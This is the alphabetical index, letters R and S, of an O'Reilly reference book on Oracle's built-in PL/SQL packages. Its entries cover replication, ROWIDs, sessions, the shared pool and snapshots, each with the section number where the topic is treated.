3.1.1.1. DBMS_PIPE programs
3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function
receive_unpack_friend procedure
3.1.4.4. The DBMS_PIPE.UNPACK_MESSAGE procedure
3.1.6.1. Defining message types and encapsulating communications logic
receive_unpack_request procedure
3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function
3.1.7.5. The pipesvr package
recipient lists : 5.1.5. A Glossary of Terms
overriding subscriber lists : 5.1.5. A Glossary of Terms
table types for : 5.3.5. Recipient and Subscriber List Table Types
tables for : 5.3.6. Message Properties Record Type
recipients : (see consumers)
recmpile.sp : 10.3.2.1. The DBMS_DDL.ALTER_COMPILE procedure
recompile procedure : 10.3.2.1. The DBMS_DDL.ALTER_COMPILE procedure
recovery
automatic : 4.2.6.2. The DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure
raw data and : 9.2. UTL_RAW: Manipulating Raw Data
RECTIFY procedure
15.5.1. Getting Started with DBMS_RECTIFIER_DIFF
15.5.2.2. The DBMS_RECTIFIER_DIFF.RECTIFY procedure
referenceability, altering : 10.3.4. Setting Referenceability of Tables
REFRESH procedure (DBMS_REFRESH)
14.2.1. Getting Started with DBMS_REFRESH
14.2.5. Manually Refreshing Snapshot Groups
REFRESH procedure (DBMS_SNAPSHOT)
14.1.1. Getting Started with DBMS_SNAPSHOT
14.1.3. Refreshing Snapshots
REFRESH_SNAPSHOT_REPGROUP procedure
14.4.1.1. DBMS_REPCAT programs
14.4.5. Manually Refreshing a Snapshot Replication Group
REGISTER procedure (DBMS_ALERT) : 3.2.2.1. The DBMS_ALERT.REGISTER procedure
register.sql
7.3.1. About the register_app Package
7.3.2. The action Procedure
7.3.4. The Information Procedures
register_app package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
7.3.1. About the register_app Package
batch process step registration : 7.3.5. Using the register_app Package
encapsulating DBMS_APPLICATION_INFO with : 7.3.6. Covering DBMS_APPLICATION_INFO
REGISTER_PROPAGATOR procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.6.8. The DBMS_DEFER_SYS.REGISTER_PROPAGATOR procedure (Oracle8 only)
REGISTER_SNAPSHOT procedure
14.1.1. Getting Started with DBMS_SNAPSHOT
14.1.6.1. The DBMS_SNAPSHOT.REGISTER_SNAPSHOT procedure (Oracle 8 only)
REGISTER_STATISTICS procedure
16.1.1. DBMS_REPCAT Programs
16.6.1.1. The DBMS_REPCAT.REGISTER_STATISTICS procedure
regtest.sql : 7.3.5. Using the register_app Package
relative file numbers, returning : 9.1.3.5. The DBMS_ROWID.ROWID_RELATIVE_FNO function
RELEASE function
4.1.1.1. DBMS_LOCK programs
4.1.2.4. The DBMS_LOCK.RELEASE function
reload_TF function : 12.1.3.1. The segspace package
RELOCATE_MASTERDEF procedure
15.3.1.1. DBMS_REPCAT programs
15.3.5.4. The DBMS_REPCAT.RELOCATE_MASTERDEF procedure
remote databases
(see also distributed databases)
4.2.2. Advising Oracle About In-Doubt Transactions
propagating messages to : 5.1.4. Propagation Features
remote destinations
(see also RPCs)
17.1.1. About Remote Destinations
adding default destinations : 17.2.2.1. The DBMS_DEFER.SYS.ADD_DEFAULT_DEST procedure
data dictionary view for : 17.1.1. About Remote Destinations
deleting default destinations : 17.2.2.2. The DBMS_DEFER.SYS.DELETE_DEFAULT_DEST procedure
specifying : 17.3.2.1. The DBMS_DEFER.TRANSACTION procedure
remote procedure calls : (see RPCs)
REMOVE procedure (DBMS_ALERT)
3.2.1.1. DBMS_ALERT programs
3.2.2.2. The DBMS_ALERT.REMOVE procedure
REMOVE procedure (DBMS_JOB)
13.1.1. DBMS_JOB Programs
13.2.7.1. The DBMS_JOB.REMOVE procedure
remove_all_jobs procedure
1.3.5.1. Examples of encapsulation packages
13.3.3. DBMS_IJOB: Managing Other Users' Jobs
REMOVE_MASTER_DATABASES procedure
15.3.1.1. DBMS_REPCAT programs
15.3.5.2. The DBMS_REPCAT.REMOVE_MASTER_DATABASES procedure
REMOVE_PIPE function
3.1.1.1. DBMS_PIPE programs
3.1.3.2. The DBMS_PIPE.REMOVE_PIPE function
REMOVE_SUBSCRIBER procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.3.2. The DBMS_AQADM.REMOVE_SUBSCRIBER procedure
REMOVEALL procedure (DBMS_ALERT)
3.2.1.1. DBMS_ALERT programs
3.2.2.3. The DBMS_ALERT.REMOVEALL procedure
REPCAT_IMPORT_CHECK procedure
15.3.1.1. DBMS_REPCAT programs
15.3.8.1. The DBMS_REPCAT.REPCAT_IMPORT_CHECK procedure
repcatlog queue : 15.3.6. Maintaining the Repcatlog Queue with DBMS_REPCAT
processing entries : 15.3.6.1. The DBMS_REPCAT.DO_DEFERRED_REPCAT_ADMIN procedure
removing entries : 15.3.6.3. The DBMS_REPCAT.PURGE_MASTER_LOG procedure
waiting for completion : 15.3.6.2. The DBMS_REPCAT.WAIT_MASTER_LOG procedure
repeatable reads : 4.2.5.1. The DBMS_TRANSACTION.READ_ONLY procedure
repgroup.sql : 15.3.2.1. The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure
replicated objects
(see also master sites; replication groups)
15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure
altering : 15.3.3.5. The DBMS_REPCAT.ALTER_MASTER_REPOBJECT procedure
comments, adding or changing : 15.3.3.6. The DBMS_REPCAT.COMMENT_ON_REPOBJECT procedure
dropping : 15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure
packages : 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
procedures : 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
support generation, priority group creation and : 16.3.2.1. The DBMS_REPCAT.DEFINE_PRIORITY_GROUP procedure
tables : (see tables, replicated tables)
triggers : (see replication triggers)
replication
(see also advanced replication)
13. Job Scheduling in the Database
job queue and : 13. Job Scheduling in the Database
propagating DML : 14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function
raw data and : 9.2. UTL_RAW: Manipulating Raw Data
RPCs and : 17.1.1. About Remote Destinations
replication groups
(see also master sites; replicated objects)
15.3.2.1. The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure
BEFORE ROW triggers and : 15.3.4. Replication Support with DBMS_REPCAT
comments, adding or changing : 15.3.2.3. The DBMS_REPCAT.COMMENT_ON_REPGROUP procedure
creating : 15.3.3.1. The DBMS_REPCAT.CREATE_MASTER_REPOBJECT procedure
creating objects : 15.3.3.1. The DBMS_REPCAT.CREATE_MASTER_REPOBJECT procedure
creating replication groups : 15.3.2.1. The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure
dropping : 15.3.2.2. The DBMS_REPCAT.DROP_MASTER_REPGROUP procedure
executing DDL : 15.3.3.4. The DBMS_REPCAT.EXECUTE_DDL procedure
propagation modes
altering for current session : 15.6. DBMS_REPUTIL: Enabling and Disabling Replication
altering for individual columns : 15.3.8.3. The DBMS_REPCAT.SEND_AND_COMPARE_OLD_VALUES procedure (Oracle8 only)
altering for replication group : 15.3.8.2. The DBMS_REPCAT.ALTER_MASTER_PROPAGATION procedure
pseudo-primary keys, designating : 15.3.3.2. The DBMS_REPCAT.SET_COLUMNS procedure
quiescing : 15.3.7.1. The DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY procedure
replication schema groups versus : 15.3.2. Replication Groups with DBMS_REPCAT
resuming activity : 15.3.7.2. The DBMS_REPCAT.RESUME_MASTER_ACTIVITY procedure
resynchronizing object identifiers : 15.3.8.1. The DBMS_REPCAT.REPCAT_IMPORT_CHECK procedure
replication packages
(see also replication support packages)
15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
generating : 15.3.4.2. The DBMS_REPCAT.GENERATE_REPLICATION_PACKAGE procedure
replication queue : (see repcatlog)
replication support packages
(see also replication packages)
15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
15.3.4.2. The DBMS_REPCAT.GENERATE_REPLICATION_PACKAGE procedure
generating : 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
replication triggers : 14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function
conflict resolution and : 14.1.2.2. The DBMS_SNAPSHOT.SET_I_AM_A_REFRESH procedure
deferred transactions and : 17. Deferred Transactions and Remote Procedure Calls
dropping replicated objects and : 14.4.3.2. The DBMS_REPCAT.DROP_SNAPSHOT_REPOBJECT procedure
dropping replicated tables and : 15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure
generating
15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure
15.3.4.3. The DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER procedure
propagation mode alteration and : 15.3.8.2. The DBMS_REPCAT.ALTER_MASTER_PROPAGATION procedure
REPLICATION_OFF procedure : 15.6.2.1. DBMS_REPUTIL.REPLICATION_OFF procedure
REPLICATION_ON procedure : 15.6.2.2. DBMS_REPUTIL.REPLICATION_ON procedure
repobjs.sql : 15.3.3.1. The DBMS_REPCAT.CREATE_MASTER_REPOBJECT procedure
reports
DBMS_OUTPUT used for : 6.1. DBMS_OUTPUT: Displaying Output
Method 4 dynamic SQL used for : 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL
repsites.sql : 15.3.5.1. The DBMS_REPCAT.ADD_MASTER_DATABASE procedure
REQUEST function
4.1.2.2. The DBMS_LOCK.REQUEST function
4.1.1.1. DBMS_LOCK programs
reset procedure
11.1.5.1. Adding value to DBMS_SESSION
11.1.5.7. The reset procedure
RESET_BUFFER procedure
3.1.1.1. DBMS_PIPE programs
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure
message unpacking/sending and : 3.1.7.2. Exploring DBMS_PIPE
tips about
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure
3.1.6.5. Using RESET_BUFFER
RESET_PACKAGE procedure
11.1.1.1. DBMS_SESSION programs
11.1.4.3. The DBMS_SESSION.RESET_PACKAGE procedure
resource accounting : (see performance analysis)
resource management : 11.1.4. Managing Session Resources
server resources : 12. Managing Server Resources
restricted ROWIDs
converting from extended ROWIDs : 9.1.3.9. The DBMS_ROWID.ROWID_TO_RESTRICTED function
creating extended ROWIDs from : 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function
format : 9.1.2. ROWID Concepts
Oracle versions and : 9. Datatype Packages
RESUME_MASTER_ACTIVITY procedure
15.3.1.1. DBMS_REPCAT programs
15.3.7.2. The DBMS_REPCAT.RESUME_MASTER_ACTIVITY procedure
RESUME_SUBSET_OF_MASTERS procedure
15.4.1. Getting Started with DBMS_OFFLINE_OG
15.4.2.5. The DBMS_OFFLINE_OG.RESUME_SUBSET_OF_MASTERS procedure
RETURNING clause
dynamic SQL and : 2.5.7. Using the RETURNING Clause in Dynamic SQL
multiple-row delete : 2.5.7.2. RETURNING from a multiple-row delete
single-row insert : 2.5.7.1. RETURNING from a single-row insert
RevealNet : About PL/Vision
REVERSE function : 9.2.3.13. The UTL_RAW.REVERSE function
REVOKE_ADMIN_ANY_REPGROUP procedure
15.2.1.1. DBMS_REPCAT_ADMIN programs
15.2.2.4. The DBMS_REPCAT_ADMIN.REVOKE_ADMIN_ANY_REPGROUP procedure
REVOKE_ADMIN_ANY_REPSCHEMA procedure : 15.2.1.1. DBMS_REPCAT_ADMIN programs
REVOKE_ADMIN_REPGROUP procedure
15.2.1.1. DBMS_REPCAT_ADMIN programs
15.2.2.2. The DBMS_REPCAT_ADMIN.REVOKE_ADMIN_REPGROUP procedure
REVOKE_ADMIN_REPSCHEMA procedure : 15.2.1.1. DBMS_REPCAT_ADMIN programs
REVOKE_SURROGATE_REPCAT procedure
15.1.1.1. DBMS_REPCAT_AUTH programs
15.1.2.2. The DBMS_REPCAT_AUTH.REVOKE_SURROGATE_REPCAT procedure
roles
(see also privileges)
2.4.2. Privileges and Execution Authority with DBMS_SQL
advanced queuing and
5.2.3. Authorizing Accounts to Use Oracle AQ
5.4. DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only)
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
job execution and : 13.2.2. Job Execution and the Job Execution Environment
session roles
enabling/disabling : 11.1.2.4. The DBMS_SESSION.SET_ROLE procedure
testing if enabled : 11.1.3.1. The DBMS_SESSION.IS_ROLE_ENABLED function
rollback : 4.2.4. Rolling Back Changes
alerts and : 3.2.2.5. The DBMS_ALERT.SIGNAL procedure
lock persistence and : 4.1.2.2. The DBMS_LOCK.REQUEST function
message processing and : 5.1.3. Dequeue Features
snapshot refreshing and : 14.1.3.1. The DBMS_SNAPSHOT.REFRESH procedure
ROLLBACK procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.4.1. The DBMS_TRANSACTION.ROLLBACK procedure
ROLLBACK_FORCE procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.4.2. The DBMS_TRANSACTION.ROLLBACK_FORCE procedure
ROLLBACK_SAVEPOINT procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.4.4. The DBMS_TRANSACTION.ROLLBACK_SAVEPOINT procedure
row numbers, returning : 9.1.3.6. The DBMS_ROWID.ROWID_ROW_NUMBER function
rowbyhash function : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
rowbyscan function : 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function
ROWID_ARG procedure : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
ROWID_BLOCK_NUMBER function : 9.1.3.1. The DBMS_ROWID.ROWID_BLOCK_NUMBER function
ROWID_CREATE function : 9.1.3.2. The DBMS_ROWID.CREATE_ROWID function
ROWID_INFO procedure : 9.1.3.3. The DBMS_ROWID.ROWID_INFO procedure
ROWID_OBJECT function : 9.1.3.4. The DBMS_ROWID.ROWID_OBJECT function
ROWID_RELATIVE_FNO function : 9.1.3.5. The DBMS_ROWID.ROWID_RELATIVE_FNO function
ROWID_ROW_NUMBER function : 9.1.3.6. The DBMS_ROWID.ROWID_ROW_NUMBER function
ROWID_TO_ABSOLUTE_FNO function : 9.1.3.7. The DBMS_ROWID.ROWID_TO_ABSOLUTE_FNO function
ROWID_TO_EXTENDED function : 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function
ROWID_TO_RESTRICTED function : 9.1.3.9. The DBMS_ROWID.ROWID_TO_RESTRICTED function
ROWID_TYPE function : 9.1.3.10. The DBMS_ROWID.ROWID_TYPE function
ROWID_VERIFY function : 9.1.3.11. The DBMS_ROWID.ROWID_VERIFY function
ROWIDs
(see also extended ROWIDs; restricted ROWIDs)
9. Datatype Packages
9.1.2. ROWID Concepts
absolute file numbers, returning : 9.1.3.7. The DBMS_ROWID.ROWID_TO_ABSOLUTE_FNO function
block numbers, returning : 9.1.3.1. The DBMS_ROWID.ROWID_BLOCK_NUMBER function
components of, returning : 9.1.3.3. The DBMS_ROWID.ROWID_INFO procedure
creating : 9.1.3.2. The DBMS_ROWID.CREATE_ROWID function
datatypes of
9. Datatype Packages
9.1.3.10. The DBMS_ROWID.ROWID_TYPE function
dropped files and : 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function
format : 9.1.2. ROWID Concepts
latest row fetched : 2.3.10.3. The DBMS_SQL.LAST_ROW_ID function
object numbers and : 9.1.3.4. The DBMS_ROWID.ROWID_OBJECT function
parsing : 9.1.3.3. The DBMS_ROWID.ROWID_INFO procedure
relative file numbers, returning : 9.1.3.5. The DBMS_ROWID.ROWID_RELATIVE_FNO function
returning : 9.1.3.2. The DBMS_ROWID.CREATE_ROWID function
verifying : 9.1.3.11. The DBMS_ROWID.ROWID_VERIFY function
ROWIDTOCHAR function (Oracle7) : 9.1.2. ROWID Concepts
rows
deleting arrays
2.5.6.2. Using array processing to delete
2.5.7.2. RETURNING from a multiple-row delete
deleting objects in : 9.2.5.1. The UTL_REF.DELETE_OBJECT procedure
fetching
2.3.1. Processing Flow of Dynamic SQL
2.3.7. Fetching Rows
2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure
example : 2.5.4.6. Retrieving and displaying data
immediate fetching : 2.3.7.2. The DBMS_SQL.EXECUTE_AND_FETCH function
past last record
2.3.7.1. The DBMS_SQL.FETCH_ROWS function
2.3.7.2. The DBMS_SQL.EXECUTE_AND_FETCH function
fetching arrays
2.3.7.1. The DBMS_SQL.FETCH_ROWS function
2.3.7.2. The DBMS_SQL.EXECUTE_AND_FETCH function
2.5.6.4. Using array processing to fetch
inserting arrays : 2.5.6.1. Using array processing to insert
rowid of latest row fetched : 2.3.10.3. The DBMS_SQL.LAST_ROW_ID function
rows fetched count : 2.3.10.2. The DBMS_SQL.LAST_ROW_COUNT function
updating arrays : 2.5.6.3. Using array processing to update
rows procedure : 2.5.6.4. Using array processing to fetch
RPCs
(see also deferred transactions)
17.1.1. About Remote Destinations
specifying : 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure
arguments
obtaining datatypes : 17.4.1.3. The DBMS_DEFER_QUERY.GET_ARG_TYPE function
obtaining datatypes and values : 17.4.1.4. The DBMS_DEFER_QUERY.GET_CALL_ARGS procedure
obtaining values : 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function
calling : 17.3.2.2. The DBMS_DEFER.CALL procedure
data dictionary views for : 17.1.2. Data Dictionary Views
destinations for : 17.1.1. About Remote Destinations
parameterized RPCs : 17.3.3. Parameterized RPCs
parameterless RPCs : 17.3.2. Basic RPCs
queuing of (illustration) : 17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure
replication and : 17.1.1. About Remote Destinations
RUN procedure
13.1.1. DBMS_JOB Programs
13.2.7.3. The DBMS_JOB.RUN procedure
runddl.sp : 2.4.2.2. The tale of Scott
runprog.sp : 2.3.8.3. The DBMS_SQL.VARIABLE_VALUE procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Index: S

sale package
(see also specific program names)
5.7.6. Using Time Delay and Expiration
Savant Corporation : About Q
SAVEPOINT procedure
4.2.1.1. DBMS_TRANSACTION programs
4.2.4.3. The DBMS_TRANSACTION.SAVEPOINT procedure
scalar values, binding : 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure
SCHEDULE_EXECUTION procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.5.3. The DBMS_DEFER_SYS.SCHEDULE_EXECUTION procedure
schedule_pkg package
(see also specific program names)
5.7.7.2. Dequeuing messages when part of a group
SCHEDULE_PROPAGATION procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only)
5.5.5.1. The DBMS_AQADM.SCHEDULE_PROPAGATION procedure
SCHEDULE_PURGE procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.6.4. The DBMS_DEFER_SYS.SCHEDULE_PURGE procedure (Oracle8 only)
SCHEDULE_PUSH procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.6.5. The DBMS_DEFER_SYS.SCHEDULE_PUSH procedure (Oracle8 only)
scheduled links : 17.2.6. Scheduling Propagation (Oracle8 only)
scheduling : (see deferred transactions; propagating messages)
schemas
analyzing : 10.1.2.2. The DBMS_UTILITY.ANALYZE_SCHEMA procedure
compiling : 10.1.2.5. The DBMS_UTILITY.COMPILE_SCHEMA procedure
names for, returning : 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure
scope of variables in dynamic SQL : 2.4.8. Executing Dynamic PL/SQL
security
DBMS_PIPE and : 3.1. DBMS_PIPE: Communicating Between Sessions
distinguishing users : 7.2.4.2. Example
UTL_FILE and : 6.2.1.3. File security
SEED procedure
10.4.1. Getting Started with DBMS_RANDOM
10.4.2.2. The DBMS_RANDOM.SEED procedure (Oracle8 only)
segspace package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages
12.1.3.1. The segspace package
segspace.sql : 12.1.3.1. The segspace package
SELECT statements
constructing (example) : 2.5.4.3. Constructing the SELECT
defining columns for : 2.3.1. Processing Flow of Dynamic SQL
dynamic execution of : 2. Executing Dynamic SQL and PL/SQL
LONG values versus : 2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure
SELECT_OBJECT procedure : 9.2.5.3. The UTL_REF.SELECT_OBJECT procedure
SEND_AND_COMPARE_OLD_VALUES procedure
15.3.1.1. DBMS_REPCAT programs
15.3.8.3. The DBMS_REPCAT.SEND_AND_COMPARE_OLD_VALUES procedure (Oracle8 only)
SEND_MESSAGE function
3.1.1.1. DBMS_PIPE programs
3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function
creating pipes : 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function
sepchar function : 6.2.6.3. Combining locations and filenames
serializing access, DBMS_LOCK and : 4.1. DBMS_LOCK: Creating and Managing Resource Locks
server files : (see files)
server procedure : 3.1.7.5. The pipesvr package
server_status procedure : 3.1.7.5. The pipesvr package
server_stop procedure : 3.1.7.5. The pipesvr package
servers
parallel server mode, testing for : 10.1.2.15. The DBMS_UTILITY.IS_PARALLEL_SERVER function
resource management : 12. Managing Server Resources
sess1.sql : 11.1.4.3. The DBMS_SESSION.RESET_PACKAGE procedure
sess2.sql : 11.1.5.8. The memory procedure
session labels
setting format : 11.1.2.2. DBMS_SESSION.SET_MLS_LABEL_FORMAT procedure
setting value : 11.1.2.1. The DBMS_SESSION.SET_LABEL procedure
session monitoring : (see performance analysis)
session names, returning unique name : 3.1.3.5. The DBMS_PIPE.UNIQUE_SESSION_NAME function
sessions
action names, returning : 7.2.2. The DBMS_APPLICATION_INFO.READ_MODULE procedure
identifiers for : 11.1.3.2. The DBMS_SESSION.UNIQUE_SESSION_ID function
enhancement
11.1.5.2. The unique_id function
11.1.5.4. The sid function
modifying settings : 11.1.2. Modifying Session Settings
obtaining information about : 11.1.3. Obtaining Session Information
enhancement : 11.1.5.3. The load_my_session_rec procedure
program names, returning : 7.2.2. The DBMS_APPLICATION_INFO.READ_MODULE procedure
resource management : 11.1.4. Managing Session Resources
session information : 11.1. DBMS_SESSION: Managing Session Information
settings, job execution and : 13.1.2.2. The what parameter
suspending with SLEEP : 4.1.2.5. The DBMS_LOCK.SLEEP procedure
tracing
another session : 11.2.2.3. The DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION procedure
same session : 11.1.4.5. The DBMS_SESSION.SET_SQL_TRACE procedure
SET clause, array updating and : 2.5.6.3. Using array processing to update
SET SERVEROUTPUT (SQL*)
6.1.2.2. The DBMS_OUTPUT.DISABLE procedure
6.1.5. Tips on Using DBMS_OUTPUT
SET_ACTION procedure
7.1.1. DBMS_APPLICATION_INFO Programs
7.2.3. The DBMS_APPLICATION_INFO.SET_ACTION procedure
SET_CLIENT_INFO procedure
7.1.1. DBMS_APPLICATION_INFO Programs
7.2.4. The DBMS_APPLICATION_INFO.SET_CLIENT_INFO procedure
SET_CLOSE_CACHED_OPEN_CURSORS procedure
11.1.1.1. DBMS_SESSION programs
11.1.4.4. The DBMS_SESSION.SET_CLOSE_CACHED_OPEN_CURSORS procedure
SET_COLUMNS procedure
15.3.1.1. DBMS_REPCAT programs
15.3.3.2. The DBMS_REPCAT.SET_COLUMNS procedure
set_current_row procedure : 7.3.9. Tracking Long-Running Processes
SET_DEFAULTS procedure
3.2.1.1. DBMS_ALERT programs
3.2.2.4. The DBMS_ALERT.SET_DEFAULTS procedure
SET_DISABLED procedure
17.2.1.1. DBMS_DEFER_SYS programs
17.2.4.5. The DBMS_DEFER_SYS.SET_DISABLED procedure
SET_EV procedure
11.2.1. Getting Started with DBMS_SYSTEM
11.2.2.2. The DBMS_SYSTEM.SET_EV procedure
SET_I_AM_A_REFRESH procedure
14.1.1. Getting Started with DBMS_SNAPSHOT
14.1.2.2. The DBMS_SNAPSHOT.SET_I_AM_A_REFRESH procedure
SET_LABEL procedure
11.1.1.1. DBMS_SESSION programs
11.1.2.1. The DBMS_SESSION.SET_LABEL procedure
SET_MLS_LABEL_FORMAT procedure
11.1.1.1. DBMS_SESSION programs
11.1.2.2. DBMS_SESSION.SET_MLS_LABEL_FORMAT procedure
SET_MODULE procedure
7.1.1. DBMS_APPLICATION_INFO Programs
7.2.5. The DBMS_APPLICATION_INFO.SET_MODULE procedure
SET_NLS procedure
11.1.1.1. DBMS_SESSION programs
11.1.2.3. The DBMS_SESSION.SET_NLS procedure
SET_ROLE procedure
11.1.1.1. DBMS_SESSION programs
11.1.2.4. The DBMS_SESSION.SET_ROLE procedure
set_row procedure : 7.3.9. Tracking Long-Running Processes
set_segment procedure : 12.1.3.1. The segspace package
SET_SESSION_LONGOPS procedure
7.1.1. DBMS_APPLICATION_INFO Programs
7.2.6. The DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS procedure
7.3.9. Tracking Long-Running Processes
encapsulating : 7.3.9. Tracking Long-Running Processes
set_sql_trace procedure
11.1.5.1. Adding value to DBMS_SESSION
11.1.5.6. The set_sql_trace procedure
SET_SQL_TRACE procedure
11.1.1.1. DBMS_SESSION programs
11.1.4.5. The DBMS_SESSION.SET_SQL_TRACE procedure
SET_SQL_TRACE_IN_SESSION procedure
11.2.1. Getting Started with DBMS_SYSTEM
11.2.2.3. The DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION procedure
set_stats procedure : 7.3.3. The set_stats Procedure
set_trace procedure : 11.2.3. DBMS_SYSTEM Examples
setpath procedure : 6.2.6.4. Adding support for paths
setsepchar procedure : 6.2.6.3. Combining locations and filenames
shared pool
(see also pipes)
3.1. DBMS_PIPE: Communicating Between Sessions
12.2. DBMS_SHARED_POOL: Pinning Objects
memory freed and : 11.1.4.2. The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure
pinning
cursors : 12.2.4.2. Pinning cursors into the shared pool
objects : 12.2.2.1. The DBMS_SHARED_POOL.KEEP procedure
packages at startup (example) : 12.2.4.1. Pinning packages automatically
size information
12.2.3.1. The DBMS_SHARED_POOL.SIZES procedure
12.2.4.3. The DBA_KEEPSIZES view
size threshold : 12.2.3.2. The DBMS_SHARED_POOL.ABORTED_REQUEST_THRESHOLD procedure
unpinning objects : 12.2.2.2. The DBMS_SHARED_POOL.UNKEEP procedure
show procedure : 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS
show_by_group procedure : 5.7.7.2. Dequeuing messages when part of a group
show_changers_to procedure : 5.7.8.1. Using the subscriber list
show_expired_sales procedure : 5.7.6. Using Time Delay and Expiration
show_name_components procedure : 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure
showargs procedure : 10.2.3.1. Features of the psdesc package
showcomp.sp : 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure
showemps.sp : 2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure
showmsgs procedure : 5.7.1. Improving AQ Ease of Use
showsubs.sp : 5.5.3.3. The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure
showsubs.sql : 5.5.3.3. The DBMS_AQADM.QUEUE_SUBSCRIBERS procedure
sid function : 11.1.5.4. The sid function
SIGNAL procedure
3.2.1.1. DBMS_ALERT programs
3.2.2.5. The DBMS_ALERT.SIGNAL procedure
single-character substitution (_) : 5.7.5.1. Wildcarded correlation identifiers
site priority groups : 16.4. Site Priority Groups with DBMS_REPCAT
adding sites : 16.4.3.1. The DBMS_REPCAT.ADD_SITE_PRIORITY_SITE procedure
altering site priority : 16.4.3.3. The DBMS_REPCAT.ALTER_SITE_PRIORITY procedure
altering sites by name : 16.4.3.4. The DBMS_REPCAT.ALTER_SITE_PRIORITY_SITE
comments, creating or changing : 16.4.2.3. The DBMS_REPCAT.COMMENT_ON_SITE_PRIORITY procedure
concepts : 16.4.1. About Site Priority Groups
creating : 16.4.2.1. The DBMS_REPCAT.DEFINE_SITE_PRIORITY procedure
dropping site priorities by priority level : 16.4.3.2. The DBMS_REPCAT.DROP_SITE_PRIORITY_SITE procedure
dropping site priority groups : 16.4.2.2. The DBMS_REPCAT.DROP_SITE_PRIORITY procedure
dropping sites by name : 16.4.3.2. The DBMS_REPCAT.DROP_SITE_PRIORITY_SITE procedure
SIZES procedure
12.2.1. Getting Started with DBMS_SHARED_POOL
12.2.3.1. The DBMS_SHARED_POOL.SIZES procedure
SLEEP procedure
4.1.1.1. DBMS_LOCK programs
4.1.2.5. The DBMS_LOCK.SLEEP procedure
slicing and dicing byte strings : 9.2.2.2. Slicing and dicing
smart_job procedure : 13.4.3. Self-Modifying and Self-Aware Jobs
snapshot groups
adding snapshots : 14.2.3.1. The DBMS_REFRESH.ADD procedure
changing properties : 14.2.4. Altering Properties of a Snapshot Group
creating : 14.2.2.1. The DBMS_REFRESH.MAKE procedure
destroying : 14.2.2.2. The DBMS_REFRESH.DESTROY procedure
dropping all snapshots and snapshot groups : 14.2.2.1. The DBMS_REFRESH.MAKE procedure
refreshing : 14.2.5. Manually Refreshing Snapshot Groups
subtracting snapshots : 14.2.3.2. The DBMS_REFRESH.SUBTRACT procedure
snapshot logs
fast refresh and : 14.1.3.1. The DBMS_SNAPSHOT.REFRESH procedure
master site switching and : 14.4.6.1. The DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER procedure
purging : 14.1.4. Purging the Snapshot Log
snapshot replication groups
